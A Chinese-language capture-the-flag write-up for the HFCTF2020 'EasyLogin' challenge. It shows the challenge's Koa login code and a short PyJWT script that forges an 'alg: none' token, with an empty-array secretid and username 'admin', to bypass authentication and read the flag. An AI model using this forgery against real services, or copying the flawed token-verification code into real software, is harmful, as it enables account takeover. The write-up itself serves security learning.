[HFCTF2020]EasyLogin

知识点：nodejs，jwt

解题过程

打开题目是个登录窗口，需要注册账号，然后登录，登录之后，有个获取flag的按钮，但是不能够获取flag，因为permission denied。

可以发现提示/static/js/app.js

/**
 *  或许该用 koa-static 来处理静态文件
 *  路径该怎么配置？不管了先填个根目录XD
 */

function login() {
    
    
    const username = $("#username").val();
    const password = $("#password").val();
    const token = sessionStorage.getItem("token");
    $.post("/api/login", {
    
    username, password, authorization:token})
        .done(function(data) {
    
    
            const {
    
    status} = data;
            if(status) {
    
    
                document.location = "/home";
            }
        })
        .fail(function(xhr, textStatus, errorThrown) {
    
    
            alert(xhr.responseJSON.message);
        });
}

function register() {
    
    
    const username = $("#username").val();
    const password = $("#password").val();
    $.post("/api/register", {
    
    username, password})
        .done(function(data) {
    
    
            const {
    
     token } = data;
            sessionStorage.setItem('token', token);
            document.location = "/login";
        })
        .fail(function(xhr, textStatus, errorThrown) {
    
    
            alert(xhr.responseJSON.message);
        });
}

function logout() {
    
    
    $.get('/api/logout').done(function(data) {
    
    
        const {
    
    status} = data;
        if(status) {
    
    
            document.location = '/login';
        }
    });
}

function getflag() {
    
    
    $.get('/api/flag').done(function(data) {
    
    
        const {
    
    flag} = data;
        $("#username").val(flag);
    }).fail(function(xhr, textStatus, errorThrown) {
    
    
        alert(xhr.responseJSON.message);
    });
}

提示了是Koa框架，看一下目录结构，原文地址：koa2 框架结构

根据这个图，去读取/controllers/api.js文件（至于为啥是api.js而不是app.js我还没想通）

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    
    
    'POST /api/register': async (ctx, next) => {
    
    
        const {
    
    username, password} = ctx.request.body;

        if(!username || username === 'admin'){
    
    
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
    
    
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({
    
    secretid, username, password}, secret, {
    
    algorithm: 'HS256'});

        ctx.rest({
    
    
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
    
    
        const {
    
    username, password} = ctx.request.body;

        if(!username || !password) {
    
    
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
    
    
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {
    
    algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
    
    
            ctx.session.username = username;
        }

        ctx.rest({
    
    
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
    
    
        if(ctx.session.username !== 'admin'){
    
    
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
    
    
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
    
    
        ctx.session.username = null;
        ctx.rest({
    
    
            status: true
        })
        await next();
    }
};

验证方式采用jwt，然后验证的时候，username==admin，才能够通过验证v

可以在https://jwt.io/中解码jwt

需要将username设置为admin，同时a1g设置为none，相当于没有加密

至于从新生成jwt，可以在linux环境下，使用PyJWT模块

import jwt
token = jwt.encode(
{
    
    
  "secretid": [],
  "username": "admin",
  "password": "222",
  "iat": 1632069679
},
algorithm="none",key=""
).decode(encoding='utf-8')

print(token)

将生成的jwt替换，继续登录，即admin

访问/api/flag，获取flag

参考链接

1. https://jwt.io/
2. [HFCTF2020]EasyLogin